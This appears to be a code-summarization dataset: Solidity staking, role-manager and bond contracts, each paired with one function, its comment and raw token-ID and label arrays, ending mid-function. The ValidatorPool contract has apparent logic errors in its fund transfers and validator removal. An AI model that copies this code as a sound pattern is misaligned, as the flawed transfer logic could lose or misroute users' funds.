// SPDX-License-Identifier: MIT pragma solidity <=0.8.6; import "./System.sol"; import "./BKCValidatorSet.sol"; import "./StakePool.sol"; import "./Interface/IValidator.sol"; // ["0xCA35b7d915458EF540aDe6068dFe2F44E8fa733c",50,"BondStatus.UNBONDED",false] contract ValidatorPool is System, IValidator { Validator[] public validators; mapping(address => uint256) public validatorsMap; BKCValidatorSet private validatorset; StakePool private stakepool; address private _BKCValidatorSetAddress; address private _StakePoolAddress; uint256 constant MIN_VALIDATOR_STAKE_AMOUNT = 10 ether; //10000 * (10**18); // 10000 KUB address constant ADMIN = 0x090fb1c3d66303358806836DF2B5b44fcd3e582f; // account 18 mapping(address => uint256) public validatorUnBondQueue; mapping(address => uint256) public validatorJailQueue; mapping(address => uint256) public validatorRemoveQueue; modifier onlyAdmin() { require(msg.sender == ADMIN, "admin only"); _; } modifier onlyValidator() { require( validatorsMap[msg.sender] > 0, "only validators can call this function" ); _; } modifier onlyValidatorInValidatorSet(address consensusAddress) { require( validatorset.currentValidatorSetMap(consensusAddress) > 0, "not allow for non-active validator" ); _; } modifier onlyOtherValidatorInValidatorSet( address consensusAddress, address validatorAddress ) { require( consensusAddress != validatorAddress, "only other validators can do this operation" ); _; } modifier onlyBKCValidatorSetContract() { require( msg.sender == _BKCValidatorSetAddress, "can only be called from BKCValidatorSet Contract" ); _; } modifier onlyNotBonded(address consensusAddress) { require( validators[validatorsMap[consensusAddress] - 1].bondStatus == BondStatus.UNBONDED, "can't do operation when unbonding or bonded" ); _; } modifier onlyStakePoolContractAndThisContract { require(msg.sender == address(this) || msg.sender == _StakePoolAddress); _; } function NumberOfValidator() public view returns (uint256) { return validators.length; } function init(address BKCValidatorSetAddress, address StakePoolAddress) external payable onlyNotInit { // Validator memory firstValidator = Validator( // 0xCA35b7d915458EF540aDe6068dFe2F44E8fa733c, // 50 ether, // BondStatus.UNBONDED, // false // ); // Validator memory secondValidator = Validator( // 0xAb8483F64d9C6d1EcF9b849Ae677dD3315835cb2, // 100, // BondStatus.UNBONDED, // false // ); // Validator memory thirdValidator = Validator( // 0x4B20993Bc481177ec7E8f571ceCaE8A9e22C02db, // 75, // BondStatus.UNBONDED, // false // ); // Validator memory fourthValidator = Validator( // 0x78731D3Ca6b7E34aC0F824c42a7cC18A495cabaB, // 120, // BondStatus.UNBONDED, // false // ); // Validator memory fifthValidator = Validator( // 0x617F2E2fD72FD9D5503197092aC168c91465E7f2, // 20, // BondStatus.UNBONDED, // false // ); // Validator memory sixthValidator = Validator( // 0x17F6AD8Ef982297579C203069C1DbfFE4348c372, // 200, // BondStatus.UNBONDED, // false // ); validatorset = BKCValidatorSet(BKCValidatorSetAddress); stakepool = StakePool(StakePoolAddress); _BKCValidatorSetAddress = BKCValidatorSetAddress; _StakePoolAddress = StakePoolAddress; // validators.push(firstValidator); // validatorsMap[firstValidator.consensusAddress] = 1; // validators.push(secondValidator); // validatorsMap[secondValidator.consensusAddress] = 2; // validators.push(thirdValidator); // validatorsMap[thirdValidator.consensusAddress] = 3; // validators.push(fourthValidator); // validatorsMap[fourthValidator.consensusAddress] = 4; // validators.push(fifthValidator); // validatorsMap[fifthValidator.consensusAddress] = 5; // validators.push(sixthValidator); // validatorsMap[sixthValidator.consensusAddress] = 6; // addValidatorToSortedList(firstValidator); // addValidatorToSortedList(secondValidator); // addValidatorToSortedList(thirdValidator); // addValidatorToSortedList(fourthValidator); // addValidatorToSortedList(fifthValidator); // addValidatorToSortedList(sixthValidator); alreadyInit = true; } function withdrawFund(uint256 amount) external onlyInit onlyNotBonded(msg.sender) { require( validators[validatorsMap[msg.sender] - 1].stakeAmount > amount, "not enough fund to withdraw" ); payable(msg.sender).transfer(amount); validators[validatorsMap[msg.sender] - 1].stakeAmount -= amount; bool res = reEvaluateValidator(msg.sender); if (res) { // validator still have enough //rePositionValidator(consensusAddress, false); } } function validatorTopUp() external payable onlyInit onlyNotBonded(msg.sender) { require(msg.value > 0, "can't top up with 0 amount"); validators[validatorsMap[msg.sender] - 1].stakeAmount += msg.value; //rePositionValidator(consensusAddress, true); } // bonding validator does not bond its delegators' delegations, just that it will uses all the bonded delegation from the before. function bondValidator(address consensusAddress) external onlyInit onlyBKCValidatorSetContract { validators[validatorsMap[consensusAddress] - 1].bondStatus = BondStatus .BONDED; delete validatorUnBondQueue[consensusAddress]; // remove from the unbondedqueue if any. (this will only be called by updateValidatorSet) } // unbonding validator does not unbond its delegators' delegations, just that it will allow delegators to unbond fund quickly after unbonded. function unBondValidator(address consensusAddress) external onlyInit onlyBKCValidatorSetContract { validators[validatorsMap[consensusAddress] - 1].bondStatus = BondStatus .UNBONDING; validatorUnBondQueue[consensusAddress] = block.timestamp + unbondingPeriod; } function removeUnBondingValidatorFromQueue() public onlyInit onlyValidator { require( block.timestamp > validatorUnBondQueue[msg.sender], "unbonding still in progress" ); require( validatorJailQueue[msg.sender] == 0, "can't unbond, validator is jailed, also the validator should not be in the unbonding queue" ); delete validatorUnBondQueue[msg.sender]; validators[validatorsMap[msg.sender] - 1].bondStatus = BondStatus .UNBONDED; } function removeJailValidatorFromQueue() public onlyInit onlyValidator { require( block.timestamp > validatorJailQueue[msg.sender], "jailing still in progress" ); delete validatorJailQueue[msg.sender]; validators[validatorsMap[msg.sender] - 1].bondStatus = BondStatus .UNBONDED; validators[validatorsMap[msg.sender] - 1].isJail = false; } function removeRemovingValidatorFromQueue() public onlyInit onlyValidator { require( block.timestamp > validatorRemoveQueue[msg.sender], "removing still in progress" ); require( validatorRemoveQueue[msg.sender] > 0, "validator must be in the queue" ); delete validatorRemoveQueue[msg.sender]; address[] memory delegators = stakepool.getDelegators(msg.sender); for (uint256 i = 0; i < delegators.length; i++) { stakepool.removeDelegation(delegators[i], msg.sender); // return all delegations } payable(msg.sender).transfer( validators[validatorsMap[msg.sender] - 1].stakeAmount ); // returns the fund to the validator uint256 index = validatorsMap[msg.sender] - 1; for (uint256 i = index; i < validators.length - 1; i++) { // remove the validator from pool validators[i] = validators[i + 1]; // shift left validatorsMap[validators[i].consensusAddress] = i + 1; } validators.pop(); delete validatorsMap[msg.sender]; // remove the validator from pool } function jailValidator(address consensusAddress) public onlyInit onlyAdmin { require( validatorset.currentValidatorSetMap(consensusAddress) > 0, "can't jail non-active validator" ); validators[validatorsMap[consensusAddress] - 1].isJail = true; validatorset.jailValidator(consensusAddress); // remove from validator set and deal with rewards. updateBondStatus(consensusAddress, BondStatus.UNBONDING); validatorJailQueue[consensusAddress] = block.timestamp + VALIDATOR_JAIL_PERIOD; validators[validatorsMap[consensusAddress] - 1].stakeAmount -= 5 * (10**18); reEvaluateValidator(consensusAddress); } function registerValidator() external payable onlyInit { require( msg.value >= MIN_VALIDATOR_STAKE_AMOUNT, "can't register to be a validator not enough staking amount sent" ); require( validatorsMap[msg.sender] == 0, "can't register same validator" ); //addValidatorToSortedList(Validator(msg.sender, msg.value, BondStatus.UNBONDED, false)); validators.push( Validator(msg.sender, msg.value, BondStatus.UNBONDED, false) ); validatorsMap[msg.sender] = validators.length; } function getTotalPower(address consensusAddress) public view returns (uint256) { return validators[validatorsMap[consensusAddress] - 1].stakeAmount + stakepool.getTotalDelegation(consensusAddress); } function getTotalPowerExcludeUnbonding(address consensusAddress) public view returns (uint256) { return validators[validatorsMap[consensusAddress] - 1].stakeAmount + stakepool.getTotalDelegationExcludeUnbonding(consensusAddress); } function updateBondStatus(address consensusAddress, BondStatus b) private onlyInit { validators[validatorsMap[consensusAddress] - 1].bondStatus = b; } function addValidatorToSortedList(Validator memory new_validator) private { uint256 have = validatorsMap[new_validator.consensusAddress]; if (have > 0) { // validator is already in the list return; } else { if (validators.length == 0) { validators.push(new_validator); validatorsMap[new_validator.consensusAddress] = 1; } else if (validators.length == 1) { // the incoming validator cannot have any delegation before being added into the validator list. uint256 totalPower = getTotalPower( validators[0].consensusAddress ); if (totalPower > new_validator.stakeAmount) { validators.push(new_validator); validatorsMap[new_validator.consensusAddress] = 2; } else { validators.push(validators[0]); validators[0] = new_validator; validatorsMap[validators[0].consensusAddress] = 1; validatorsMap[validators[1].consensusAddress] = 2; } } else { if ( new_validator.stakeAmount > getTotalPower(validators[0].consensusAddress) ) { // be the top validators.push(new_validator); for (uint256 i = validators.length - 1; i > 0; i--) { validators[i] = validators[i - 1]; // shift right validatorsMap[validators[i].consensusAddress] = i + 1; } validators[0] = new_validator; validatorsMap[new_validator.consensusAddress] = 1; } else if ( new_validator.stakeAmount <= getTotalPower( validators[validators.length - 1].consensusAddress ) ) { // be the least validators.push(new_validator); validatorsMap[new_validator.consensusAddress] = validators .length; } else { for (uint256 i = 0; i < validators.length; i++) { // change the sequence according to the validator's total power; if ( new_validator.stakeAmount >= getTotalPower(validators[i].consensusAddress) ) { validators.push(new_validator); for ( uint256 j = validators.length - 2; j >= i; j-- ) { validators[j + 1] = validators[j]; validatorsMap[ validators[j + 1].consensusAddress ] = j + 2; } validators[i] = new_validator; validatorsMap[new_validator.consensusAddress] = i + 1; break; } } } } } } function reEvaluateValidator(address consensusAddress) private returns (bool) { if ( validators[validatorsMap[consensusAddress] - 1].stakeAmount < MIN_VALIDATOR_STAKE_AMOUNT ) { uint256 index = validatorsMap[consensusAddress] - 1; for (uint256 i = index; i < validators.length - 1; i++) { validators[i] = validators[i + 1]; // shift left validatorsMap[validators[i].consensusAddress] = i + 1; } payable(consensusAddress).transfer( validators[validatorsMap[consensusAddress] - 1].stakeAmount ); address[] memory delegators = stakepool.getDelegators( consensusAddress ); for (uint256 i = 0; i < delegators.length; i++) { stakepool.removeDelegation(delegators[i], consensusAddress); } validators.pop(); delete validatorsMap[consensusAddress]; return false; } return true; } function validatorRemove() external onlyInit { require(validatorsMap[msg.sender] > 0, "can only remove a validator"); validatorRemoveQueue[msg.sender] = block.timestamp + VALIDATOR_REMOVE_PERIOD; // remove period delete validatorUnBondQueue[msg.sender]; } function rePositionValidator(address consensusAddress, bool operation) public onlyStakePoolContractAndThisContract { // operation true for top up and false for withdraw uint256 index = validatorsMap[consensusAddress] - 1; uint256 this_totalPower = getTotalPower(consensusAddress); if (operation) { // top up if (index == 0) { return; // already the largest } if ( this_totalPower >= getTotalPower(validators[0].consensusAddress) ) { // become the top Validator memory v = validators[index]; for (uint256 i = index; i > 0; i--) { validators[i] = validators[i - 1]; // shift right validatorsMap[validators[i].consensusAddress] = i + 1; } validators[0] = v; validatorsMap[v.consensusAddress] = 1; return; } for (uint256 i = index; i > 0; i--) { // look to the left if ( getTotalPower(validators[i - 1].consensusAddress) > this_totalPower ) { // found the should-be place Validator memory v = validators[index]; for (uint256 j = index; j > i; j--) { validators[j] = validators[j - 1]; // shift right validatorsMap[validators[j].consensusAddress] = j + 1; } validators[i] = v; validatorsMap[v.consensusAddress] = i + 1; return; } } } else { // withdraw if (index == validators.length) { return; // already the smallest } if ( this_totalPower <= getTotalPower( validators[validators.length - 1].consensusAddress ) ) { // become the least Validator memory v = validators[index]; for (uint256 i = index; i < validators.length - 1; i++) { validators[i] = validators[i + 1]; // shift left validatorsMap[validators[i].consensusAddress] = i + 1; } validators[validators.length - 1] = v; validatorsMap[v.consensusAddress] = validators.length; return; } for (uint256 i = index; i < validators.length; i++) { // look to the right if ( getTotalPower(validators[i + 1].consensusAddress) < this_totalPower ) { // found the should-be place Validator memory v = validators[index]; for (uint256 j = index; j < i; j++) { validators[j] = validators[j + 1]; // shift left validatorsMap[validators[j].consensusAddress] = j + 1; } validators[i] = v; validatorsMap[v.consensusAddress] = i + 1; return; } } } } }
bonding validator does not bond its delegators' delegations, just that it will uses all the bonded delegation from the before.
function bondValidator(address consensusAddress) external onlyInit onlyBKCValidatorSetContract { validators[validatorsMap[consensusAddress] - 1].bondStatus = BondStatus .BONDED; }
13,124,801
[ 1, 26425, 310, 4213, 1552, 486, 8427, 2097, 11158, 3062, 11, 11158, 1012, 16, 2537, 716, 518, 903, 4692, 777, 326, 324, 265, 785, 23595, 628, 326, 1865, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 8427, 5126, 12, 2867, 18318, 1887, 13, 203, 3639, 3903, 203, 3639, 1338, 2570, 203, 3639, 1338, 38, 47, 39, 5126, 694, 8924, 203, 565, 288, 203, 3639, 11632, 63, 23993, 863, 63, 29220, 1887, 65, 300, 404, 8009, 26425, 1482, 273, 605, 1434, 1482, 203, 3639, 263, 38, 673, 7660, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.8.4; import {ISynthereumFinder} from './interfaces/IFinder.sol'; import {ISynthereumManager} from './interfaces/IManager.sol'; import {IDerivative} from '../derivative/common/interfaces/IDerivative.sol'; import {IRole} from '../base/interfaces/IRole.sol'; import {SynthereumInterfaces} from './Constants.sol'; import { AccessControlEnumerable } from '@openzeppelin/contracts/access/AccessControlEnumerable.sol'; contract SynthereumManager is ISynthereumManager, AccessControlEnumerable { bytes32 public constant MAINTAINER_ROLE = keccak256('Maintainer'); //Describe role structure struct Roles { address admin; address maintainer; } //---------------------------------------- // Storage //---------------------------------------- ISynthereumFinder public synthereumFinder; //---------------------------------------- // Modifiers //---------------------------------------- modifier onlyMaintainer() { require( hasRole(MAINTAINER_ROLE, msg.sender), 'Sender must be the maintainer' ); _; } modifier onlyMaintainerOrDeployer() { require( hasRole(MAINTAINER_ROLE, msg.sender) || synthereumFinder.getImplementationAddress( SynthereumInterfaces.Deployer ) == msg.sender, 'Sender must be the maintainer or the deployer' ); _; } //---------------------------------------- // Constructor //---------------------------------------- /** * @notice Constructs the SynthereumManager contract * @param _synthereumFinder Synthereum finder contract * @param _roles Admin and Mainteiner roles */ constructor(ISynthereumFinder _synthereumFinder, Roles memory _roles) { synthereumFinder = _synthereumFinder; _setRoleAdmin(DEFAULT_ADMIN_ROLE, DEFAULT_ADMIN_ROLE); _setRoleAdmin(MAINTAINER_ROLE, DEFAULT_ADMIN_ROLE); _setupRole(DEFAULT_ADMIN_ROLE, _roles.admin); _setupRole(MAINTAINER_ROLE, _roles.maintainer); } //---------------------------------------- // External functions //---------------------------------------- /** * @notice Allow to add roles in derivatives and synthetic tokens contracts * @param contracts Derivatives or Synthetic role contracts * @param roles Roles id * @param accounts Addresses to which give the grant */ function grantSynthereumRole( address[] calldata contracts, bytes32[] calldata roles, address[] calldata accounts ) external override onlyMaintainerOrDeployer { uint256 rolesCount = roles.length; require(rolesCount > 0, 'No roles paased'); require( rolesCount == accounts.length, 'Number of roles and accounts must be the same' ); require( rolesCount == contracts.length, 'Number of roles and contracts must be the same' ); for (uint256 i; i < rolesCount; i++) { IRole(contracts[i]).grantRole(roles[i], accounts[i]); } } /** * @notice Allow to revoke roles in derivatives and synthetic tokens contracts * @param contracts Derivatives or Synthetic role contracts * @param roles Roles id * @param accounts Addresses to which revoke the grant */ function revokeSynthereumRole( address[] calldata contracts, bytes32[] calldata roles, address[] calldata accounts ) external override onlyMaintainerOrDeployer { uint256 rolesCount = roles.length; require(rolesCount > 0, 'No roles paased'); require( rolesCount == accounts.length, 'Number of roles and accounts must be the same' ); require( rolesCount == contracts.length, 'Number of roles and contracts must be the same' ); for (uint256 i; i < rolesCount; i++) { IRole(contracts[i]).revokeRole(roles[i], accounts[i]); } } /** * @notice Allow to renounce roles in derivatives and synthetic tokens contracts * @param contracts Derivatives or Synthetic role contracts * @param roles Roles id */ function renounceSynthereumRole( address[] calldata contracts, bytes32[] calldata roles ) external override onlyMaintainerOrDeployer { uint256 rolesCount = roles.length; require(rolesCount > 0, 'No roles paased'); require( rolesCount == contracts.length, 'Number of roles and contracts must be the same' ); for (uint256 i; i < rolesCount; i++) { IRole(contracts[i]).renounceRole(roles[i], address(this)); } } /** * @notice Allow to call emergency shutdown in derivative contracts * @param derivatives Derivate contracts to shutdown */ function emergencyShutdown(IDerivative[] calldata derivatives) external override onlyMaintainer { require(derivatives.length > 0, 'No Derivative passed'); for (uint256 i; i < derivatives.length; i++) { derivatives[i].emergencyShutdown(); } } }
* @notice Allow to renounce roles in derivatives and synthetic tokens contracts @param contracts Derivatives or Synthetic role contracts @param roles Roles id/
function renounceSynthereumRole( address[] calldata contracts, bytes32[] calldata roles ) external override onlyMaintainerOrDeployer { uint256 rolesCount = roles.length; require(rolesCount > 0, 'No roles paased'); require( rolesCount == contracts.length, 'Number of roles and contracts must be the same' ); for (uint256 i; i < rolesCount; i++) { IRole(contracts[i]).renounceRole(roles[i], address(this)); } }
7,293,394
[ 1, 7009, 358, 1654, 8386, 4900, 316, 9630, 8785, 471, 25535, 2430, 20092, 225, 20092, 14969, 427, 8785, 578, 16091, 16466, 2478, 20092, 225, 4900, 19576, 612, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 445, 1654, 8386, 10503, 18664, 379, 2996, 12, 203, 565, 1758, 8526, 745, 892, 20092, 16, 203, 565, 1731, 1578, 8526, 745, 892, 4900, 203, 225, 262, 3903, 3849, 1338, 49, 1598, 1521, 1162, 10015, 264, 288, 203, 565, 2254, 5034, 4900, 1380, 273, 4900, 18, 2469, 31, 203, 565, 2583, 12, 7774, 1380, 405, 374, 16, 296, 2279, 4900, 6790, 8905, 8284, 203, 565, 2583, 12, 203, 1377, 4900, 1380, 422, 20092, 18, 2469, 16, 203, 1377, 296, 1854, 434, 4900, 471, 20092, 1297, 506, 326, 1967, 11, 203, 565, 11272, 203, 565, 364, 261, 11890, 5034, 277, 31, 277, 411, 4900, 1380, 31, 277, 27245, 288, 203, 1377, 467, 2996, 12, 16351, 87, 63, 77, 65, 2934, 1187, 8386, 2996, 12, 7774, 63, 77, 6487, 1758, 12, 2211, 10019, 203, 565, 289, 203, 225, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.7.5; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "./interfaces/IBondCalculator.sol"; import "./interfaces/IERC20Extended.sol"; import "./interfaces/IStaking.sol"; import "./interfaces/ITreasury.sol"; import "./libraries/FixedPoint.sol"; import "./libraries/SafeMathExtended.sol"; contract BondDepository is Ownable { using FixedPoint for *; using SafeERC20 for IERC20; using SafeMathExtended for uint; using SafeMathExtended for uint32; event BondCreated( uint deposit, uint indexed payout, uint indexed expires, uint indexed priceInUSD ); event BondRedeemed( address indexed recipient, uint payout, uint remaining ); event BondPriceChanged( uint indexed priceInUSD, uint indexed internalPrice, uint indexed debtRatio ); event ControlVariableAdjustment( uint initialBCV, uint newBCV, uint adjustment, bool addition ); /* ======== STATE VARIABLES ======== */ address public immutable KEEPER; // token given as payment for bond address public immutable principle; // token used to create bond address public immutable treasury; // mints KEEPER when receives principle address public immutable DAO; // receives profit share from bond address public immutable bondCalculator; // calculates value of LP tokens bool public immutable isLiquidityBond; // LP and Reserve bonds are treated slightly different address public staking; // to auto-stake payout Terms public terms; // stores terms for new bonds Adjust public adjustment; // stores adjustment to BCV data mapping( address => Bond ) public bondInfo; // stores bond information for depositors uint public totalDebt; // total value of outstanding bonds; used for pricing uint32 public lastDecay; // reference time for debt decay /* ======== STRUCTS ======== */ // Info for creating new bonds struct Terms { uint controlVariable; // scaling variable for price uint minimumPrice; // vs principle value uint maxPayout; // in thousandths of a %. i.e. 500 = 0.5% uint fee; // as % of bond payout, in hundreths. ( 500 = 5% = 0.05 for every 1 paid) uint maxDebt; // 9 decimal debt ratio, max % total supply created as debt uint32 vestingTerm; // in seconds } // Info for bond holder struct Bond { uint payout; // KEEPER remaining to be paid uint pricePaid; // In DAI, for front end viewing uint32 vesting; // seconds left to vest uint32 lastTime; // Last interaction } // Info for incremental adjustments to control variable struct Adjust { bool add; // addition or subtraction uint rate; // increment uint target; // BCV when adjustment finished uint32 buffer; // minimum length (in seconds) between adjustments uint32 lastTime; // timestamp when last adjustment made } constructor ( address _KEEPER, address _principle, address _staking, address _treasury, address _DAO, address _bondCalculator) { require( _KEEPER != address(0) ); KEEPER = _KEEPER; require( _principle != address(0) ); principle = _principle; require( _treasury != address(0) ); treasury = _treasury; require( _DAO != address(0) ); DAO = _DAO; require( _staking != address(0) ); staking = _staking; // bondCalculator should be address(0) if not LP bond bondCalculator = _bondCalculator; isLiquidityBond = ( _bondCalculator != address(0) ); } /** * @notice initializes bond parameters * @param _controlVariable uint * @param _vestingTerm uint * @param _minimumPrice uint * @param _maxPayout uint * @param _fee uint * @param _maxDebt uint * @param _initialDebt uint */ function initializeBondTerms(uint _controlVariable, uint32 _vestingTerm, uint _minimumPrice, uint _maxPayout, uint _fee, uint _maxDebt, uint _initialDebt) external onlyOwner() { require( terms.controlVariable == 0 && terms.vestingTerm == 0, "Bonds must be initialized from 0" ); terms = Terms ({ controlVariable: _controlVariable, vestingTerm: _vestingTerm, minimumPrice: _minimumPrice, maxPayout: _maxPayout, fee: _fee, maxDebt: _maxDebt }); totalDebt = _initialDebt; lastDecay = uint32(block.timestamp); } /* ======== POLICY FUNCTIONS ======== */ enum PARAMETER { VESTING, PAYOUT, FEE, DEBT, MINPRICE } /** * @notice set parameters for new bonds * @param _parameter PARAMETER * @param _input uint */ function setBondTerms ( PARAMETER _parameter, uint _input ) external onlyOwner() { if ( _parameter == PARAMETER.VESTING ) { // 0 require( _input >= 129600, "Vesting must be longer than 36 hours" ); decayDebt(); require( totalDebt == 0, "Debt should be 0." ); terms.vestingTerm = uint32(_input); } else if ( _parameter == PARAMETER.PAYOUT ) { // 1 require( _input <= 1000, "Payout cannot be above 1 percent" ); terms.maxPayout = _input; } else if ( _parameter == PARAMETER.FEE ) { // 2 require( _input <= 10000, "DAO fee cannot exceed payout" ); terms.fee = _input; } else if ( _parameter == PARAMETER.DEBT ) { // 3 terms.maxDebt = _input; } else if ( _parameter == PARAMETER.MINPRICE ) { // 4 terms.minimumPrice = _input; } } /** * @notice set control variable adjustment * @param _addition bool * @param _increment uint * @param _target uint * @param _buffer uint */ function setAdjustment ( bool _addition, uint _increment, uint _target, uint32 _buffer) external onlyOwner() { require( _increment <= terms.controlVariable.mul( 25 ).div( 1000 ), "Increment too large" ); adjustment = Adjust({ add: _addition, rate: _increment, target: _target, buffer: _buffer, lastTime: uint32(block.timestamp) }); } /** * @notice set contract for auto stake * @param _staking address */ // function setStaking( address _staking ) external onlyOwner() { // require( _staking != address(0) ); // staking = _staking; // } /* ======== USER FUNCTIONS ======== */ /** * @notice deposit bond * @param _amount uint * @param _maxPrice uint * @param _depositor address * @return uint */ function deposit( uint _amount, uint _maxPrice, address _depositor) external returns ( uint ) { require( _depositor != address(0), "Invalid address" ); decayDebt(); uint priceInUSD = bondPriceInUSD(); // Stored in bond info uint nativePrice = _bondPrice(); require( _maxPrice >= nativePrice, "Slippage limit: more than max price" ); // slippage protection uint value = ITreasury( treasury ).valueOfToken( principle, _amount ); uint payout = payoutFor( value ); // payout to bonder is computed require( payout >= 10000000, "Bond too small" ); // must be > 0.01 KEEPER ( underflow protection ) require( payout <= maxPayout(), "Bond too large"); // size protection because there is no slippage // profits are calculated uint fee = payout.mul( terms.fee ).div( 10000 ); uint profit = value.sub( payout ).sub( fee ); /** principle is transferred in approved and deposited into the treasury, returning (_amount - profit) KEEPER */ IERC20( principle ).safeTransferFrom( msg.sender, address(this), _amount ); IERC20( principle ).approve( address( treasury ), _amount ); ITreasury( treasury ).deposit( _amount, principle, profit ); if ( fee != 0 ) { // fee is transferred to dao IERC20( KEEPER ).safeTransfer( DAO, fee ); } // total debt is increased totalDebt = totalDebt.add( value ); require( totalDebt <= terms.maxDebt, "Max capacity reached" ); // depositor info is stored bondInfo[ _depositor ] = Bond({ payout: bondInfo[ _depositor ].payout.add( payout ), vesting: terms.vestingTerm, lastTime: uint32(block.timestamp), pricePaid: priceInUSD }); // indexed events are emitted emit BondCreated( _amount, payout, block.timestamp.add( terms.vestingTerm ), priceInUSD ); emit BondPriceChanged( bondPriceInUSD(), _bondPrice(), debtRatio() ); adjust(); // control variable is adjusted return payout; } /** * @notice redeem bond for user * @param _recipient address * @param _stake bool * @return uint */ function redeem( address _recipient, bool _stake, bool _wrap ) external returns ( uint ) { Bond memory info = bondInfo[ _recipient ]; uint percentVested = percentVestedFor( _recipient ); // (blocks since last interaction / vesting term remaining) if ( percentVested >= 10000 ) { // if fully vested delete bondInfo[ _recipient ]; // delete user info emit BondRedeemed( _recipient, info.payout, 0 ); // emit bond data return stakeOrSend( _recipient, _stake, _wrap, info.payout ); // pay user everything due } else { // if unfinished // calculate payout vested uint payout = info.payout.mul( percentVested ).div( 10000 ); // store updated deposit info bondInfo[ _recipient ] = Bond({ payout: info.payout.sub( payout ), vesting: info.vesting.sub32( uint32(block.timestamp).sub32( info.lastTime ) ), lastTime: 